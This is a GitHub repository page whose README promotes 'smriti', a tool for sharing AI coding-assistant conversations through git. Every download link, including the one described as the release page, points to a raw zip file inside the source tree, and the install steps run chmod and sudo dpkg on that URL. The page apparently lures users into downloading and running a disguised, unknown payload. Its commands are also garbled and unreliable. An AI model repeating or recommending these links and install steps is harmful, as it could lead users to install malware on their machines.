Skip to content

Latest commit

 

History

34 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🔗 smriti - Share Team Knowledge Fast

Download smriti


smriti helps AI-powered engineering teams capture and recall their conversations. It indexes talks across tools like Claude Code, Cursor, Codex, and others. It shares knowledge within your team using git. No cloud needed.


📋 What is smriti?

smriti stores your team’s discussions and info in one place. It works by saving conversations from AI tools used in software development. This means your team remembers important details from past talks. Instead of searching through chat logs or scattered notes, smriti organizes everything. It uses your existing git system, so your data stays under your control. No external cloud service is needed.


💻 What You’ll Need

To use smriti smoothly, make sure your computer meets these simple requirements:

  • Operating Systems Supported:

    • Windows 10 or later
    • macOS 10.15 or later
    • Linux (Ubuntu 18.04+, Fedora 30+, Debian 10+)
  • Storage Space: At least 100 MB free. smriti stores data locally.

  • Memory: 4 GB RAM minimum, 8 GB recommended for larger teams.

  • Git: You need to have git installed.

  • Internet Connection: Required only for the first download and to share updates over your team’s git repository. No data is sent to any cloud by smriti itself.


🛠 Key Features

  • Conversation Capture: smriti collects chat histories from AI tools like Claude Code, Codex, Cursor, and others.

  • Fast Search: Find details and decisions from past talks quickly.

  • Local Data Storage: Your team’s knowledge stays on your machines or your private git server—no cloud involved.

  • Git Integration: Share and update knowledge through git repositories. Git keeps track of changes and versions.

  • Cross-Tool Support: Works with popular AI coding assistants used by teams.

  • Simple Setup: Designed for users who are not programmers.


🚀 Getting Started

Follow these steps to download, install, and open smriti on your computer.

Step 1 – Download

Click the big button at the top or visit the official release page here:

https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip

This page lists the latest versions. Pick the installer that matches your computer system:

  • Windows: Look for files ending with .exe or .msi.
  • macOS: Look for .dmg or .pkg files.
  • Linux: Look for .AppImage or .deb files.

Step 2 – Run the Installer

After downloading, find the installer file on your computer:

  • Windows: Double-click .exe or .msi file and follow the prompts.

  • macOS: Open the .dmg, drag smriti into your Applications folder.

  • Linux: Depending on the format:

    • For .AppImage: Make it executable (chmod +x https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip), then double-click.
    • For .deb: Open your terminal and run sudo dpkg -i https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip.

Step 3 – Open smriti

Launch smriti:

  • Windows: Click Start menu, search for “smriti,” and open it.
  • macOS: Open your Applications folder and double-click smriti.
  • Linux: Use your desktop’s app launcher or run smriti from the terminal if installed system-wide.

If smriti does not open, make sure your system meets requirements and try again.

Step 4 – Connect Your Team Repository

The first time you open smriti, it will ask for your team’s git repository URL. This is where your shared knowledge lives. Enter the repository address supplied by your team lead or IT admin.

smriti will clone or sync this repository. After that, all team conversations and data will be stored here.


📁 How smriti Organizes Your Data

smriti works by capturing conversations and saving them in your git repository. It uses a format called SQLite for fast data handling. Your conversations are indexed with keywords and timestamps. Later, you can search using plain text.

Because the data is in git, every update is tracked. You can see what changed, who added info, and when. This helps teams avoid losing knowledge or duplicating work.


🔍 Searching in smriti

Search is simple:

  1. Open smriti.
  2. Enter any keyword related to past conversations.
  3. smriti will show relevant results from your team’s stored chats and notes.

You can filter by date, agent (Claude, Codex, etc), or author. This helps find exactly what you need.


🔧 Settings and Preferences

smriti lets you customize how you work:

  • Choose which AI agents’ conversations to index.
  • Set sync schedules to update knowledge from git automatically.
  • Control notifications when new data arrives.
  • Adjust local storage limits to save disk space.

Most users will find defaults work well.


🛡 Privacy and Security

smriti does not send your data to any cloud service. Your conversations stay inside your team’s git repository only.

All communication with git uses secure SSH or HTTPS protocols, depending on your setup. Make sure your git access is password or key protected.


🆘 Getting Help

If you encounter issues:


⬇️ Download & Install

To start using smriti, visit this page to download the installer that fits your system:

https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip

Download the right file, run it, then open smriti.

Follow the prompts to connect your team’s git repository.

After setup, smriti will help your team save and find knowledge faster.


🔖 Topics Covered

  • ai-agents
  • bun
  • claude-code
  • codex
  • cursor
  • developer-tools
  • memory
  • qmd
  • rag
  • smriti
  • sqlite
  • team-collaboration

About

🧠 Enable AI agents to share and remember engineering team knowledge for better collaboration and faster problem-solving.

Topics

Resources

Stars

4 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages